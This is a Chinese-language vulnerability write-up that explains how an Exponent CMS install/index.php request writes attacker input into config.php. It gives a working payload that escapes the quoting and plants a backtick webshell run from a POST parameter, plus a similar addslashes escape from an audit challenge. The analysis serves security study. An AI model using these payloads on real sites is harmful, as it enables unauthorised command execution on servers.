最近一直在给cmsPoc写各种cms的exp/poc。遇到了这个配置文件写入从而getshell的洞,想到了P神-代码审计圈里分享过的一道审计题,借此分析一波。
<!-- more -->
cmsPoc里用的payload如下:
install/index.php?sc[SMTP_PORT]=25\\');echo `$_POST[chybeta]`;//
下面基于这个payload进行分析。
在 install/index.php 的第44行左右:
<?php
...
include_once('../exponent.php');
expString::sanitize($_REQUEST);
在 framework/core/subsystems/expString.php 的第502行
<?php
...
public static function sanitize(&$data) {
// return $data;
if (is_array($data)) {
$saved_params = array();
if (!empty($data['controller']) && $data['controller'] == 'snippet') {
$saved_params['body'] = $data['body']; // store snippet body
}
foreach ($data as $var=>$val) {
// $data[$var] = self::sanitize($val);
$data[$var] = self::xss_clean($val);
}
if (!empty($saved_params)) {
$data = array_merge($data, $saved_params); // add stored snippet body
}
}
由于 $_REQUEST
是个数组,从代码中可以看到只经过了xss_clean
的检查,这对我们的payload没有影响。因此经过sanitize
后,仍然有sc[SMTP_PORT]=25\\');echo `$_POST[chybeta]`;//
继续分析,install/index.php 的第56行左右:
<?php
...
// Create or update the config settings
if (isset($_REQUEST['sc'])) {
if (file_exists("../framework/conf/config.php")) {
// Update the config
foreach ($_REQUEST['sc'] as $key => $value) {
expSettings::change($key, $value);
}
}
...
}
对于一个已经安装完成的exponent,其文件framework/conf/config.php
必定是存在的,所以当传入参数$_REQUEST['sc']
,会进入更新config的流程。
expSettings::change
定义在 framework\core\subsystems\expSettings.php
中的第220行
<?php
...
public static function change($var, $val)
{
$conf = self::parseFile(BASE . 'framework/conf/config.php');
$conf[$var] = $val;
self::saveValues($conf);
}
self::parseFile
定义在该文件的第140行,其作用是将config.php中的内容解析出来。接下去的一行,将我们传入的$key
和$value
进行设置,即执行:
$var = "SMTP_PORT"
$val = "25\\');echo `$_POST[chybeta]`;//";
$conf[$var]=$val;
接下去进行写入,即self::saveValues
,该函数定义在该文件expSettings.php的第175行左右:
<?php
...
public static function saveValues($values, $configname = '') //FIXME only used with themes and self::change() method
{
$profile = null;
$str = "<?php\n";
foreach ($values as $directive => $value) {
$directive = trim(strtoupper($directive));
if ($directive == 'CURRENTCONFIGNAME') { // save and strip out the profile name
$profile = $value;
continue;
}
$str .= "define(\"$directive\",";
$value = stripslashes($value); // slashes added by POST
可以看到对于$value
,先经过了一次stripslashes
,这会将value值中原有的反斜杠(\
)去掉。25\\');echo `$_POST[chybeta]`;//
中,25后面的第一个反斜杠(\
)将会被去掉,再之后的一个反斜杠(\
),被当作是后面单引号的转义符,因此不会被去除。因此$value
的值为下面这个:
25\');echo `$_POST[chybeta]`;//
完成上述操作后,继续执行
<?php
if (substr($directive, -5, 5) == "_HTML") {
$value = htmlentities($value, ENT_QUOTES, LANG_CHARSET);
// $value = str_replace(array("\r\n","\r","\n"),"<br />",$value);
$value = str_replace(array("\r\n", "\r", "\n"), "", $value);
// $value = str_replace(array('\r\n', '\r', '\n'), "", $value);
$str .= "exponent_unhtmlentities('$value')";
} elseif (is_int($value)) {
$str .= "'" . $value . "'";
} else {
if ($directive != 'SESSION_TIMEOUT') {
$str .= "'" . str_replace("'", "\'", $value) . "'"; //FIXME is this still necessary since we stripslashes above???
} // $str .= "'".$value."'";
else {
$str .= "'" . str_replace("'", '', $value) . "'";
}
}
$str .= ");\n";
}
$str .= '?>';
// $configname = empty($values['CURRENTCONFIGNAME']) ? '' : $values['CURRENTCONFIGNAME'];
if ($configname == '') {
$str .= "\n<?php\ndefine(\"CURRENTCONFIGNAME\",\"$profile\");\n?>"; // add profile name to end of active profile
}
self::writeFile($str, $configname);
}
?>
由于我们的payload为sc[SMTP_PORT]
,不以_HTML
结尾,且不为SESSION_TIMEOUT
,因此会执行下面这条语句:
$str .= "'" . str_replace("'", "\'", $value) . "'";
对应前面的$value
,它将$value
中的单引号前又加上了一次反斜杠,导致$value
的值现在变为:
25\\');echo `$_POST[chybeta]`;//
最后的操作就是将得到的内容写入到配置文件中了。
define("SMTP_PORT",'$value');
即为
define("SMTP_PORT",'25\\');echo `$_POST[chybeta]`;//');
由于第一个反斜杠的存在,它把第二个反斜杠给转义了,从而导致了后面这个单引号的逃逸,进一步的使我们能够成功的闭合define。接下来又利用了php的//
注释将原有的括号注释掉,从而getshell。
与本次漏洞分析异曲同工之妙的一种解法如下:
?option=aaa\';phpinfo();//
经过addslashes后,$str为 aaa\\\';phpinfo();//
经过preg_replace正则匹配后,对\
做了转义处理,xxxxx/option.php的内容变为:
<?php
$option='aaa\\';phpinfo();//';
?>
同样利用第一个斜杠转义第二个斜杠,从而导致了单引号的逃逸。
另一种解答方法放在 Code-Audit-Challenges PHP challenge-3
更多解答,请见代码审计-知识星球。